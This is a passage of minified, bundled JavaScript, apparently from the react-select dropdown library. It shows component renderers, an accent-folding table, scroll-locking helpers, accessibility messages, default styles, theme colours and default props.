n}function tV(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?eV(Object(n),!0).forEach((function(t){Object(Se.a)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):eV(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}var nV=function(e){var t=e.children,n=e.innerProps;return rH("div",n,t)},rV=nV,oV=nV;var iV=function(e){var t=e.children,n=e.className,r=e.components,o=e.cx,i=e.data,a=e.getStyles,l=e.innerProps,s=e.isDisabled,u=e.removeProps,c=e.selectProps,f=r.Container,d=r.Label,p=r.Remove;return rH(lH,null,(function(r){var h=r.css,m=r.cx;return rH(f,{data:i,innerProps:tV(tV({},l),{},{className:m(h(a("multiValue",e)),o({"multi-value":!0,"multi-value--is-disabled":s},n))}),selectProps:c},rH(d,{data:i,innerProps:{className:m(h(a("multiValueLabel",e)),o({"multi-value__label":!0},n))},selectProps:c},t),rH(p,{data:i,innerProps:tV({className:m(h(a("multiValueRemove",e)),o({"multi-value__remove":!0},n))},u),selectProps:c}))}))};iV.defaultProps={cropWithEllipsis:!0};function aV(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function lV(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?aV(Object(n),!0).forEach((function(t){Object(Se.a)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):aV(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}var sV={ClearIndicator:function(e){var t=e.children,n=e.className,r=e.cx,o=e.getStyles,i=e.innerProps;return rH("div",b({},i,{css:o("clearIndicator",e),className:r({indicator:!0,"clear-indicator":!0},n)}),t||rH(VH,null))},Control:function(e){var t=e.children,n=e.cx,r=e.getStyles,o=e.className,i=e.isDisabled,a=e.isFocused,l=e.innerRef,s=e.innerProps,u=e.menuIsOpen;return rH("div",b({ref:l,css:r("control",e),className:n({control:!0,"control--is-disabled":i,"control--is-focused":a,"control--menu-is-open":u},o)},s),t)},DropdownIndicator:function(e){var t=e.children,n=e.className,r=e.cx,o=e.getStyles,i=e.innerProps;return rH("div",b({},i,{css:o("dropdownIndicator",e),className:r({indicator:!0,"dropdown-indicator":!0},n)}),t||rH(zH,null))},DownChevron:zH,CrossIcon:VH,Group:function(e){var t=e.children,n=e.className,r=e.cx,o=e.getStyles,i=e.Heading,a=e.headingProps,l=e.label,s=e.theme,u=e.selectProps;return rH("div",{css:o("group",e),className:r({group:!0},n)},rH(i,b({},a,{selectProps:u,theme:s,getStyles:o,cx:r}),l),rH("div",null,t))},GroupHeading:function(e){var t=e.className,n=e.cx,r=e.getStyles,o=e.theme,i=(e.selectProps,sH(e,["className","cx","getStyles","theme","selectProps"]));return rH("div",b({css:r("groupHeading",KH({theme:o},i)),className:n({"group-heading":!0},t)},i))},IndicatorsContainer:function(e){var t=e.children,n=e.className,r=e.cx,o=e.getStyles;return rH("div",{css:o("indicatorsContainer",e),className:r({indicators:!0},n)},t)},IndicatorSeparator:function(e){var t=e.className,n=e.cx,r=e.getStyles,o=e.innerProps;return rH("span",b({},o,{css:r("indicatorSeparator",e),className:n({"indicator-separator":!0},t)}))},Input:function(e){var t=e.className,n=e.cx,r=e.getStyles,o=e.innerRef,i=e.isHidden,a=e.isDisabled,l=e.theme,s=(e.selectProps,sH(e,["className","cx","getStyles","innerRef","isHidden","isDisabled","theme","selectProps"]));return rH("div",{css:r("input",QH({theme:l},s))},rH(cH.a,b({className:n({input:!0},t),inputRef:o,inputStyle:JH(i),disabled:a},s)))},LoadingIndicator:YH,Menu:function(e){var t=e.children,n=e.className,r=e.cx,o=e.getStyles,i=e.innerRef,a=e.innerProps;return rH("div",b({css:o("menu",e),className:r({menu:!0},n)},a,{ref:i}),t)},MenuList:function(e){var t=e.children,n=e.className,r=e.cx,o=e.getStyles,i=e.isMulti,a=e.innerRef,l=e.innerProps;return rH("div",b({css:o("menuList",e),className:r({"menu-list":!0,"menu-list--is-multi":i},n),ref:a},l),t)},MenuPortal:jH,LoadingMessage:RH,NoOptionsMessage:MH,MultiValue:iV,MultiValueContainer:rV,MultiValueLabel:oV,MultiValueRemove:function(e){var t=e.children,n=e.innerProps;return rH("div",n,t||rH(VH,{size:14}))},Option:function(e){var t=e.children,n=e.className,r=e.cx,o=e.getStyles,i=e.isDisabled,a=e.isFocused,l=e.isSelected,s=e.innerRef,u=e.innerProps;return rH("div",b({css:o("option",e),className:r({option:!0,"option--is-disabled":i,"option--is-focused":a,"option--is-selected":l},n),ref:s},u),t)},Placeholder:function(e){var t=e.children,n=e.className,r=e.cx,o=e.getStyles,i=e.innerProps;return rH("div",b({css:o("placeholder",e),className:r({placeholder:!0},n)},i),t)},SelectContainer:function(e){var t=e.children,n=e.className,r=e.cx,o=e.getStyles,i=e.innerProps,a=e.isDisabled,l=e.isRtl;return rH("div",b({css:o("container",e),className:r({"--is-disabled":a,"--is-rtl":l},n)},i),t)},SingleValue:function(e){var t=e.children,n=e.className,r=e.cx,o=e.getStyles,i=e.isDisabled,a=e.innerProps;return rH("div",b({css:o("singleValue",e),className:r({"single-value":!0,"single-value--is-disabled":i},n)},a),t)},ValueContainer:function(e){var t=e.children,n=e.className,r=e.cx,o=e.isMulti,i=e.getStyles,a=e.hasValue;return rH("div",{css:i("valueContainer",e),className:r({"value-container":!0,"value-container--is-multi":o,"value-container--has-value":a},n)},t)}};function uV(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null!=n){var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}}(e,t)||OB(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}var cV=Number.isNaN||function(e){return"number"==typeof e&&e!=e};function fV(e,t){if(e.length!==t.length)return!1;for(var n=0;n<e.length;n++)if(r=e[n],o=t[n],!(r===o||cV(r)&&cV(o)))return!1;var r,o;return!0}for(var dV=function(e,t){var n;void 0===t&&(t=fV);var r,o=[],i=!1;return function(){for(var a=[],l=0;l<arguments.length;l++)a[l]=arguments[l];return i&&n===this&&t(a,o)||(r=e.apply(this,a),i=!0,n=this,o=a),r}},pV=[{base:"A",letters:"AⒶAÀÁÂẦẤẪẨÃĀĂẰẮẴẲȦǠÄǞẢÅǺǍȀȂẠẬẶḀĄȺⱯ"},{base:"AA",letters:"Ꜳ"},{base:"AE",letters:"ÆǼǢ"},{base:"AO",letters:"Ꜵ"},{base:"AU",letters:"Ꜷ"},{base:"AV",letters:"ꜸꜺ"},{base:"AY",letters:"Ꜽ"},{base:"B",letters:"BⒷBḂḄḆɃƂƁ"},{base:"C",letters:"CⒸCĆĈĊČÇḈƇȻꜾ"},{base:"D",letters:"DⒹDḊĎḌḐḒḎĐƋƊƉꝹ"},{base:"DZ",letters:"DZDŽ"},{base:"Dz",letters:"DzDž"},{base:"E",letters:"EⒺEÈÉÊỀẾỄỂẼĒḔḖĔĖËẺĚȄȆẸỆȨḜĘḘḚƐƎ"},{base:"F",letters:"FⒻFḞƑꝻ"},{base:"G",letters:"GⒼGǴĜḠĞĠǦĢǤƓꞠꝽꝾ"},{base:"H",letters:"HⒽHĤḢḦȞḤḨḪĦⱧⱵꞍ"},{base:"I",letters:"IⒾIÌÍÎĨĪĬİÏḮỈǏȈȊỊĮḬƗ"},{base:"J",letters:"JⒿJĴɈ"},{base:"K",letters:"KⓀKḰǨḲĶḴƘⱩꝀꝂꝄꞢ"},{base:"L",letters:"LⓁLĿĹĽḶḸĻḼḺŁȽⱢⱠꝈꝆꞀ"},{base:"LJ",letters:"LJ"},{base:"Lj",letters:"Lj"},{base:"M",letters:"MⓂMḾṀṂⱮƜ"},{base:"N",letters:"NⓃNǸŃÑṄŇṆŅṊṈȠƝꞐꞤ"},{base:"NJ",letters:"NJ"},{base:"Nj",letters:"Nj"},{base:"O",letters:"OⓄOÒÓÔỒỐỖỔÕṌȬṎŌṐṒŎȮȰÖȪỎŐǑȌȎƠỜỚỠỞỢỌỘǪǬØǾƆƟꝊꝌ"},{base:"OI",letters:"Ƣ"},{base:"OO",letters:"Ꝏ"},{base:"OU",letters:"Ȣ"},{base:"P",letters:"PⓅPṔṖƤⱣꝐꝒꝔ"},{base:"Q",letters:"QⓆQꝖꝘɊ"},{base:"R",letters:"RⓇRŔṘŘȐȒṚṜŖṞɌⱤꝚꞦꞂ"},{base:"S",letters:"SⓈSẞŚṤŜṠŠṦṢṨȘŞⱾꞨꞄ"},{base:"T",letters:"TⓉTṪŤṬȚŢṰṮŦƬƮȾꞆ"},{base:"TZ",letters:"Ꜩ"},{base:"U",letters:"UⓊUÙÚÛŨṸŪṺŬÜǛǗǕǙỦŮŰǓȔȖƯỪỨỮỬỰỤṲŲṶṴɄ"},{base:"V",letters:"VⓋVṼṾƲꝞɅ"},{base:"VY",letters:"Ꝡ"},{base:"W",letters:"WⓌWẀẂŴẆẄẈⱲ"},{base:"X",letters:"XⓍXẊẌ"},{base:"Y",letters:"YⓎYỲÝŶỸȲẎŸỶỴƳɎỾ"},{base:"Z",letters:"ZⓏZŹẐŻŽẒẔƵȤⱿⱫꝢ"},{base:"a",letters:"aⓐaẚàáâầấẫẩãāăằắẵẳȧǡäǟảåǻǎȁȃạậặḁąⱥɐ"},{base:"aa",letters:"ꜳ"},{base:"ae",letters:"æǽǣ"},{base:"ao",letters:"ꜵ"},{base:"au",letters:"ꜷ"},{base:"av",letters:"ꜹꜻ"},{base:"ay",letters:"ꜽ"},{base:"b",letters:"bⓑbḃḅḇƀƃɓ"},{base:"c",letters:"cⓒcćĉċčçḉƈȼꜿↄ"},{base:"d",letters:"dⓓdḋďḍḑḓḏđƌɖɗꝺ"},{base:"dz",letters:"dzdž"},{base:"e",letters:"eⓔeèéêềếễểẽēḕḗĕėëẻěȅȇẹệȩḝęḙḛɇɛǝ"},{base:"f",letters:"fⓕfḟƒꝼ"},{base:"g",letters:"gⓖgǵĝḡğġǧģǥɠꞡᵹꝿ"},{base:"h",letters:"hⓗhĥḣḧȟḥḩḫẖħⱨⱶɥ"},{base:"hv",letters:"ƕ"},{base:"i",letters:"iⓘiìíîĩīĭïḯỉǐȉȋịįḭɨı"},{base:"j",letters:"jⓙjĵǰɉ"},{base:"k",letters:"kⓚkḱǩḳķḵƙⱪꝁꝃꝅꞣ"},{base:"l",letters:"lⓛlŀĺľḷḹļḽḻſłƚɫⱡꝉꞁꝇ"},{base:"lj",letters:"lj"},{base:"m",letters:"mⓜmḿṁṃɱɯ"},{base:"n",letters:"nⓝnǹńñṅňṇņṋṉƞɲʼnꞑꞥ"},{base:"nj",letters:"nj"},{base:"o",letters:"oⓞoòóôồốỗổõṍȭṏōṑṓŏȯȱöȫỏőǒȍȏơờớỡởợọộǫǭøǿɔꝋꝍɵ"},{base:"oi",letters:"ƣ"},{base:"ou",letters:"ȣ"},{base:"oo",letters:"ꝏ"},{base:"p",letters:"pⓟpṕṗƥᵽꝑꝓꝕ"},{base:"q",letters:"qⓠqɋꝗꝙ"},{base:"r",letters:"rⓡrŕṙřȑȓṛṝŗṟɍɽꝛꞧꞃ"},{base:"s",letters:"sⓢsßśṥŝṡšṧṣṩșşȿꞩꞅẛ"},{base:"t",letters:"tⓣtṫẗťṭțţṱṯŧƭʈⱦꞇ"},{base:"tz",letters:"ꜩ"},{base:"u",letters:"uⓤuùúûũṹūṻŭüǜǘǖǚủůűǔȕȗưừứữửựụṳųṷṵʉ"},{base:"v",letters:"vⓥvṽṿʋꝟʌ"},{base:"vy",letters:"ꝡ"},{base:"w",letters:"wⓦwẁẃŵẇẅẘẉⱳ"},{base:"x",letters:"xⓧxẋẍ"},{base:"y",letters:"yⓨyỳýŷỹȳẏÿỷẙỵƴɏỿ"},{base:"z",letters:"zⓩzźẑżžẓẕƶȥɀⱬꝣ"}],hV=new RegExp("["+pV.map((function(e){return e.letters})).join("")+"]","g"),mV={},gV=0;gV<pV.length;gV++)for(var vV=pV[gV],yV=0;yV<vV.letters.length;yV++)mV[vV.letters[yV]]=vV.base;var bV=function(e){return e.replace(hV,(function(e){return mV[e]}))};function wV(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}var EV=function(e){return e.replace(/^\s+|\s+$/g,"")},SV=function(e){return"".concat(e.label," ").concat(e.value)};var CV={name:"1laao21-a11yText",styles:"label:a11yText;z-index:9999;border:0;clip:rect(1px, 1px, 1px, 1px);height:1px;width:1px;position:absolute;overflow:hidden;padding:0;white-space:nowrap;"},xV=function(e){return rH("span",b({css:CV},e))};function OV(e){e.in,e.out,e.onExited,e.appear,e.enter,e.exit;var t=e.innerRef,n=(e.emotion,sH(e,["in","out","onExited","appear","enter","exit","innerRef","emotion"]));return rH("input",b({ref:t},n,{css:nH({label:"dummyInput",background:0,border:0,fontSize:"inherit",outline:0,padding:0,width:1,color:"transparent",left:-100,opacity:0,position:"relative",transform:"scale(0)"},"")}))}function AV(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Date.prototype.toString.call(Reflect.construct(Date,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=ke(e);if(t){var o=ke(this).constructor;n=Reflect.construct(r,arguments,o)}else n=r.apply(this,arguments);return Te(this,n)}}var _V=function(e){Me(n,e);var t=AV(n);function n(){return xe(this,n),t.apply(this,arguments)}return Ae(n,[{key:"componentDidMount",value:function(){this.props.innerRef(Object(u.findDOMNode)(this))}},{key:"componentWillUnmount",value:function(){this.props.innerRef(null)}},{key:"render",value:function(){return this.props.children}}]),n}(l.Component),TV=["boxSizing","height","overflow","paddingRight","position"],kV={boxSizing:"border-box",overflow:"hidden",position:"relative",height:"100%"};function PV(e){e.preventDefault()}function MV(e){e.stopPropagation()}function RV(){var e=this.scrollTop,t=this.scrollHeight,n=e+this.offsetHeight;0===e?this.scrollTop=1:n===t&&(this.scrollTop=e-1)}function jV(){return"ontouchstart"in window||navigator.maxTouchPoints}function LV(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Date.prototype.toString.call(Reflect.construct(Date,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=ke(e);if(t){var o=ke(this).constructor;n=Reflect.construct(r,arguments,o)}else n=r.apply(this,arguments);return Te(this,n)}}var IV=!(!window.document||!window.document.createElement),NV=0,DV=function(e){Me(n,e);var t=LV(n);function n(){var e;xe(this,n);for(var r=arguments.length,o=new Array(r),i=0;i<r;i++)o[i]=arguments[i];return(e=t.call.apply(t,[this].concat(o))).originalStyles={},e.listenerOptions={capture:!1,passive:!1},e}return Ae(n,[{key:"componentDidMount",value:function(){var e=this;if(IV){var t=this.props,n=t.accountForScrollbars,r=t.touchScrollTarget,o=document.body,i=o&&o.style;if(n&&TV.forEach((function(t){var n=i&&i[t];e.originalStyles[t]=n})),n&&NV<1){var a=parseInt(this.originalStyles.paddingRight,10)||0,l=document.body?document.body.clientWidth:0,s=window.innerWidth-l+a||0;Object.keys(kV).forEach((function(e){var t=kV[e];i&&(i[e]=t)})),i&&(i.paddingRight="".concat(s,"px"))}o&&jV()&&(o.addEventListener("touchmove",PV,this.listenerOptions),r&&(r.addEventListener("touchstart",RV,this.listenerOptions),r.addEventListener("touchmove",MV,this.listenerOptions))),NV+=1}}},{key:"componentWillUnmount",value:function(){var e=this;if(IV){var t=this.props,n=t.accountForScrollbars,r=t.touchScrollTarget,o=document.body,i=o&&o.style;NV=Math.max(NV-1,0),n&&NV<1&&TV.forEach((function(t){var n=e.originalStyles[t];i&&(i[t]=n)})),o&&jV()&&(o.removeEventListener("touchmove",PV,this.listenerOptions),r&&(r.removeEventListener("touchstart",RV,this.listenerOptions),r.removeEventListener("touchmove",MV,this.listenerOptions)))}}},{key:"render",value:function(){return null}}]),n}(l.Component);function FV(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Date.prototype.toString.call(Reflect.construct(Date,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=ke(e);if(t){var o=ke(this).constructor;n=Reflect.construct(r,arguments,o)}else n=r.apply(this,arguments);return Te(this,n)}}DV.defaultProps={accountForScrollbars:!0};var BV={name:"1dsbpcp",styles:"position:fixed;left:0;bottom:0;right:0;top:0;"},HV=function(e){Me(n,e);var t=FV(n);function n(){var e;xe(this,n);for(var r=arguments.length,o=new Array(r),i=0;i<r;i++)o[i]=arguments[i];return(e=t.call.apply(t,[this].concat(o))).state={touchScrollTarget:null},e.getScrollTarget=function(t){t!==e.state.touchScrollTarget&&e.setState({touchScrollTarget:t})},e.blurSelectInput=function(){document.activeElement&&document.activeElement.blur()},e}return Ae(n,[{key:"render",value:function(){var e=this.props,t=e.children,n=e.isEnabled,r=this.state.touchScrollTarget;return n?rH("div",null,rH("div",{onClick:this.blurSelectInput,css:BV}),rH(_V,{innerRef:this.getScrollTarget},t),r?rH(DV,{touchScrollTarget:r}):null):t}}]),n}(l.PureComponent);function VV(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Date.prototype.toString.call(Reflect.construct(Date,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=ke(e);if(t){var o=ke(this).constructor;n=Reflect.construct(r,arguments,o)}else n=r.apply(this,arguments);return Te(this,n)}}var zV=function(e){Me(n,e);var t=VV(n);function n(){var e;xe(this,n);for(var r=arguments.length,o=new Array(r),i=0;i<r;i++)o[i]=arguments[i];return(e=t.call.apply(t,[this].concat(o))).isBottom=!1,e.isTop=!1,e.scrollTarget=void 0,e.touchStart=void 0,e.cancelScroll=function(e){e.preventDefault(),e.stopPropagation()},e.handleEventDelta=function(t,n){var r=e.props,o=r.onBottomArrive,i=r.onBottomLeave,a=r.onTopArrive,l=r.onTopLeave,s=e.scrollTarget,u=s.scrollTop,c=s.scrollHeight,f=s.clientHeight,d=e.scrollTarget,p=n>0,h=c-f-u,m=!1;h>n&&e.isBottom&&(i&&i(t),e.isBottom=!1),p&&e.isTop&&(l&&l(t),e.isTop=!1),p&&n>h?(o&&!e.isBottom&&o(t),d.scrollTop=c,m=!0,e.isBottom=!0):!p&&-n>u&&(a&&!e.isTop&&a(t),d.scrollTop=0,m=!0,e.isTop=!0),m&&e.cancelScroll(t)},e.onWheel=function(t){e.handleEventDelta(t,t.deltaY)},e.onTouchStart=function(t){e.touchStart=t.changedTouches[0].clientY},e.onTouchMove=function(t){var n=e.touchStart-t.changedTouches[0].clientY;e.handleEventDelta(t,n)},e.getScrollTarget=function(t){e.scrollTarget=t},e}return Ae(n,[{key:"componentDidMount",value:function(){this.startListening(this.scrollTarget)}},{key:"componentWillUnmount",value:function(){this.stopListening(this.scrollTarget)}},{key:"startListening",value:function(e){e&&("function"==typeof e.addEventListener&&e.addEventListener("wheel",this.onWheel,!1),"function"==typeof e.addEventListener&&e.addEventListener("touchstart",this.onTouchStart,!1),"function"==typeof e.addEventListener&&e.addEventListener("touchmove",this.onTouchMove,!1))}},{key:"stopListening",value:function(e){e&&("function"==typeof e.removeEventListener&&e.removeEventListener("wheel",this.onWheel,!1),"function"==typeof e.removeEventListener&&e.removeEventListener("touchstart",this.onTouchStart,!1),"function"==typeof e.removeEventListener&&e.removeEventListener("touchmove",this.onTouchMove,!1))}},{key:"render",value:function(){return s.a.createElement(_V,{innerRef:this.getScrollTarget},this.props.children)}}]),n}(l.Component);function UV(e){var t=e.isEnabled,n=void 0===t||t,r=sH(e,["isEnabled"]);return n?s.a.createElement(zV,r):r.children}var GV=function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n=t.isSearchable,r=t.isMulti,o=t.label,i=t.isDisabled,a=t.tabSelectsValue;switch(e){case"menu":return"Use Up and Down to choose options".concat(i?"":", press Enter to select the currently focused option",", press Escape to exit the menu").concat(a?", press Tab to select the option and exit the menu":"",".");case"input":return"".concat(o||"Select"," is focused ").concat(n?",type to refine list":"",", press Down to open the menu, ").concat(r?" press left to focus selected values":"");case"value":return"Use left and right to toggle between focused values, press Backspace to remove the currently focused value"}},WV=function(e,t){var n=t.value,r=t.isDisabled;if(n)switch(e){case"deselect-option":case"pop-value":case"remove-value":return"option ".concat(n,", deselected.");case"select-option":return"option ".concat(n,r?" is disabled. Select another option.":", selected.")}},qV=function(e){return!!e.isDisabled};var ZV={clearIndicator:WH,container:function(e){var t=e.isDisabled;return{label:"container",direction:e.isRtl?"rtl":null,pointerEvents:t?"none":null,position:"relative"}},control:function(e){var t=e.isDisabled,n=e.isFocused,r=e.theme,o=r.colors,i=r.borderRadius,a=r.spacing;return{label:"control",alignItems:"center",backgroundColor:t?o.neutral5:o.neutral0,borderColor:t?o.neutral10:n?o.primary:o.neutral20,borderRadius:i,borderStyle:"solid",borderWidth:1,boxShadow:n?"0 0 0 1px ".concat(o.primary):null,cursor:"default",display:"flex",flexWrap:"wrap",justifyContent:"space-between",minHeight:a.controlHeight,outline:"0 !important",position:"relative",transition:"all 100ms","&:hover":{borderColor:n?o.primary:o.neutral30}}},dropdownIndicator:GH,group:function(e){var t=e.theme.spacing;return{paddingBottom:2*t.baseUnit,paddingTop:2*t.baseUnit}},groupHeading:function(e){var t=e.theme.spacing;return{label:"group",color:"#999",cursor:"default",display:"block",fontSize:"75%",fontWeight:"500",marginBottom:"0.25em",paddingLeft:3*t.baseUnit,paddingRight:3*t.baseUnit,textTransform:"uppercase"}},indicatorsContainer:function(){return{alignItems:"center",alignSelf:"stretch",display:"flex",flexShrink:0}},indicatorSeparator:function(e){var t=e.isDisabled,n=e.theme,r=n.spacing.baseUnit,o=n.colors;return{label:"indicatorSeparator",alignSelf:"stretch",backgroundColor:t?o.neutral10:o.neutral20,marginBottom:2*r,marginTop:2*r,width:1}},input:function(e){var t=e.isDisabled,n=e.theme,r=n.spacing,o=n.colors;return{margin:r.baseUnit/2,paddingBottom:r.baseUnit/2,paddingTop:r.baseUnit/2,visibility:t?"hidden":"visible",color:o.neutral80}},loadingIndicator:function(e){var t=e.isFocused,n=e.size,r=e.theme,o=r.colors,i=r.spacing.baseUnit;return{label:"loadingIndicator",color:t?o.neutral60:o.neutral20,display:"flex",padding:2*i,transition:"color 150ms",alignSelf:"center",fontSize:n,lineHeight:1,marginRight:n,textAlign:"center",verticalAlign:"middle"}},loadingMessage:PH,menu:function(e){var t,n=e.placement,r=e.theme,o=r.borderRadius,i=r.spacing,a=r.colors;return t={label:"menu"},Object(Se.a)(t,function(e){return e?{bottom:"top",top:"bottom"}[e]:"bottom"}(n),"100%"),Object(Se.a)(t,"backgroundColor",a.neutral0),Object(Se.a)(t,"borderRadius",o),Object(Se.a)(t,"boxShadow","0 0 0 1px hsla(0, 0%, 0%, 0.1), 0 4px 11px hsla(0, 0%, 0%, 0.1)"),Object(Se.a)(t,"marginBottom",i.menuGutter),Object(Se.a)(t,"marginTop",i.menuGutter),Object(Se.a)(t,"position","absolute"),Object(Se.a)(t,"width","100%"),Object(Se.a)(t,"zIndex",1),t},menuList:function(e){var t=e.maxHeight,n=e.theme.spacing.baseUnit;return{maxHeight:t,overflowY:"auto",paddingBottom:n,paddingTop:n,position:"relative",WebkitOverflowScrolling:"touch"}},menuPortal:function(e){var t=e.rect,n=e.offset,r=e.position;return{left:t.left,position:r,top:n,width:t.width,zIndex:1}},multiValue:function(e){var t=e.theme,n=t.spacing,r=t.borderRadius;return{label:"multiValue",backgroundColor:t.colors.neutral10,borderRadius:r/2,display:"flex",margin:n.baseUnit/2,minWidth:0}},multiValueLabel:function(e){var t=e.theme,n=t.borderRadius,r=t.colors,o=e.cropWithEllipsis;return{borderRadius:n/2,color:r.neutral80,fontSize:"85%",overflow:"hidden",padding:3,paddingLeft:6,textOverflow:o?"ellipsis":null,whiteSpace:"nowrap"}},multiValueRemove:function(e){var t=e.theme,n=t.spacing,r=t.borderRadius,o=t.colors;return{alignItems:"center",borderRadius:r/2,backgroundColor:e.isFocused&&o.dangerLight,display:"flex",paddingLeft:n.baseUnit,paddingRight:n.baseUnit,":hover":{backgroundColor:o.dangerLight,color:o.danger}}},noOptionsMessage:kH,option:function(e){var t=e.isDisabled,n=e.isFocused,r=e.isSelected,o=e.theme,i=o.spacing,a=o.colors;return{label:"option",backgroundColor:r?a.primary:n?a.primary25:"transparent",color:t?a.neutral20:r?a.neutral0:"inherit",cursor:"default",display:"block",fontSize:"inherit",padding:"".concat(2*i.baseUnit,"px ").concat(3*i.baseUnit,"px"),width:"100%",userSelect:"none",WebkitTapHighlightColor:"rgba(0, 0, 0, 0)",":active":{backgroundColor:!t&&(r?a.primary:a.primary50)}}},placeholder:function(e){var t=e.theme,n=t.spacing;return{label:"placeholder",color:t.colors.neutral50,marginLeft:n.baseUnit/2,marginRight:n.baseUnit/2,position:"absolute",top:"50%",transform:"translateY(-50%)"}},singleValue:function(e){var t=e.isDisabled,n=e.theme,r=n.spacing,o=n.colors;return{label:"singleValue",color:t?o.neutral40:o.neutral80,marginLeft:r.baseUnit/2,marginRight:r.baseUnit/2,maxWidth:"calc(100% - ".concat(2*r.baseUnit,"px)"),overflow:"hidden",position:"absolute",textOverflow:"ellipsis",whiteSpace:"nowrap",top:"50%",transform:"translateY(-50%)"}},valueContainer:function(e){var t=e.theme.spacing;return{alignItems:"center",display:"flex",flex:1,flexWrap:"wrap",padding:"".concat(t.baseUnit/2,"px ").concat(2*t.baseUnit,"px"),WebkitOverflowScrolling:"touch",position:"relative",overflow:"hidden"}}};var YV={borderRadius:4,colors:{primary:"#2684FF",primary75:"#4C9AFF",primary50:"#B2D4FF",primary25:"#DEEBFF",danger:"#DE350B",dangerLight:"#FFBDAD",neutral0:"hsl(0, 0%, 100%)",neutral5:"hsl(0, 0%, 95%)",neutral10:"hsl(0, 0%, 90%)",neutral20:"hsl(0, 0%, 80%)",neutral30:"hsl(0, 0%, 70%)",neutral40:"hsl(0, 0%, 60%)",neutral50:"hsl(0, 0%, 50%)",neutral60:"hsl(0, 0%, 40%)",neutral70:"hsl(0, 0%, 30%)",neutral80:"hsl(0, 0%, 20%)",neutral90:"hsl(0, 0%, 10%)"},spacing:{baseUnit:4,controlHeight:38,menuGutter:8}};function $V(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function KV(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?$V(Object(n),!0).forEach((function(t){Object(Se.a)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):$V(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function XV(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Date.prototype.toString.call(Reflect.construct(Date,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=ke(e);if(t){var o=ke(this).constructor;n=Reflect.construct(r,arguments,o)}else n=r.apply(this,arguments);return Te(this,n)}}var QV,JV={backspaceRemovesValue:!0,blurInputOnSelect:wH(),captureMenuScroll:!wH(),closeMenuOnSelect:!0,closeMenuOnScroll:!1,components:{},controlShouldRenderValue:!0,escapeClearsValue:!1,filterOption:function(e,t){var n=function(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?wV(Object(n),!0).forEach((function(t){Object(Se.a)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):wV(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}({ignoreCase:!0,ignoreAccents:!0,stringify:SV,trim:!0,matchFrom:"any"},QV),r=n.ignoreCase,o=n.ignoreAccents,i=n.stringify,a=n.trim,l=n.matchFrom,s=a?EV(t):t,u=a?EV(i(e)):i(e);return r&&(s=s.toLowerCase(),u=u.toLowerCase()),o&&(s=bV(s),u=bV(u)),"start"===l?u.substr(0,s.length)===s:u.indexOf(s)>-1},formatGroupLabel:function(e){return e.label},getOptionLabel:function(e){return e.label},getOptionValue:function(e){return e.value},isDisabled:!1,isLoading:!1,isMulti:!1,isRtl:!1,isSearchable:!0,isOptionDisabled:qV,loadingMessage:function(){return"Loading..."},maxMenuHeight:300,minMenuHeight:140,menuIsOpen:!1,menuPlacement:"bottom",menuPosition:"absolute",menuShouldBlockScroll:!1,menuShouldScrollIntoView:!function(){try{return/Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent)}catch(e){return!1}}(),noOptionsMessage:function(){return"No 